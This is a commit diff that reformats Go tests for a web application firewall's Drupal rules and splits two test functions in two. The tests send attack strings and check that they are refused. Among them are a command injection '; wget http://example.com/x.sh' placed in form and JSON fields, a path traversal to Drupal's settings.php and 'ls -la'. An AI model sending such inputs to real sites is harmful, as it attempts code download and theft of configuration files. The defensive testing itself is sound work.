script/fmt now runs golines -m 77 after gofmt, repeating golines until it changes nothing, since one pass can leave a line the next splits. script/fmt-check fails when either would change a file. script/bootstrap installs golines v0.13.0 with go install, pinned to its commit, and checks the installed version with go version -m. The tree is reformatted. The longer lines this makes are fixed by hand: nolint directives moved onto their own line above the statement, one string split, and 20 functions over funlen's 80 lines shortened or split, RunWAF and limitPercentages among them. Model: opus-5-5
This commit is contained in:
1 parent
63e58e326b
commit
7f8a59de04
118 files changed
+9447
-2670
No files matched your search
@@ -124,15 +124,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
||||
t.Errorf(
|
||||
"POST %s %q let through: %+v",
|
||||
sent.target,
|
||||
sent.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
injection,
|
||||
scriptTag,
|
||||
} {
|
||||
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
|
||||
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, attack := range []string{injection, scriptTag} {
|
||||
for _, field := range []string{
|
||||
`"title":"` + attack + `"`,
|
||||
`"body":{"value":"` + attack + `"}`,
|
||||
@@ -153,7 +163,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPatch,
|
||||
"/node/2?_format=json",
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"title":[{"value":"` + attack + `"}]}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -198,14 +212,25 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{drupalRegister, formData, pass},
|
||||
{"/fr/user/register", formData, pass},
|
||||
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
||||
{
|
||||
"/user/1/edit",
|
||||
formData,
|
||||
[]string{"current_pass", pass[0], pass[1]},
|
||||
},
|
||||
{"/admin/people/create", formData, pass},
|
||||
{drupalJSONRegister, jsonBody, []string{value}},
|
||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
||||
{
|
||||
"/user/1?_format=json",
|
||||
jsonBody,
|
||||
[]string{value, "pass.0.existing"},
|
||||
},
|
||||
{
|
||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
||||
[]string{
|
||||
"data.attributes.pass.value",
|
||||
"data.attributes.pass.existing",
|
||||
},
|
||||
},
|
||||
})
|
||||
}
|
||||
@@ -222,7 +247,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
`../../sites/default/settings.php`,
|
||||
} {
|
||||
for _, field := range []string{"name", "mail"} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"` + field + `":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -241,12 +270,23 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
{"ls -la", 932250},
|
||||
{".htaccess@example.com", 930120},
|
||||
} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"mail":"` + kept.value + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||
if got.Score < drupalThreshold ||
|
||||
!slices.Contains(got.RuleIDs, kept.rule) {
|
||||
t.Errorf(
|
||||
"POST %s %s: %+v, want %d among them",
|
||||
r.target,
|
||||
body,
|
||||
got,
|
||||
kept.rule,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -317,10 +357,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
||||
t.Errorf(
|
||||
"POST %s %s let through: %+v",
|
||||
r.target,
|
||||
sent.field,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses ls -la.
|
||||
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||
t.Errorf(
|
||||
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
|
||||
r.target,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
|
||||
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
|
||||
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, field := range []string{
|
||||
`"title":"; wget http://example.com/x.sh"`,
|
||||
`"subject":"; wget http://example.com/x.sh"`,
|
||||
@@ -342,7 +407,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPatch,
|
||||
"/node/2?_format=json",
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -357,14 +426,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses ls -la.
|
||||
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||
|
||||
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
@@ -388,7 +449,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
t.Errorf(
|
||||
"POST %s %s%s refused: %+v",
|
||||
sent.target,
|
||||
sent.field,
|
||||
value,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -407,7 +474,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r = request{
|
||||
http.MethodPost,
|
||||
"/fr" + drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body = `{"name":"` + word + `"}`
|
||||
|
||||
got, _ = inspectBody(t, crs, r, body)
|
||||
@@ -417,7 +488,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
"/fr" + drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"mail":"` + address + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -483,7 +558,11 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
{drupalEditAccount, "mail=python3"},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
sent.path + "?" + sent.field,
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < drupalThreshold {
|
||||
|
||||
Reference in new issue
Block a user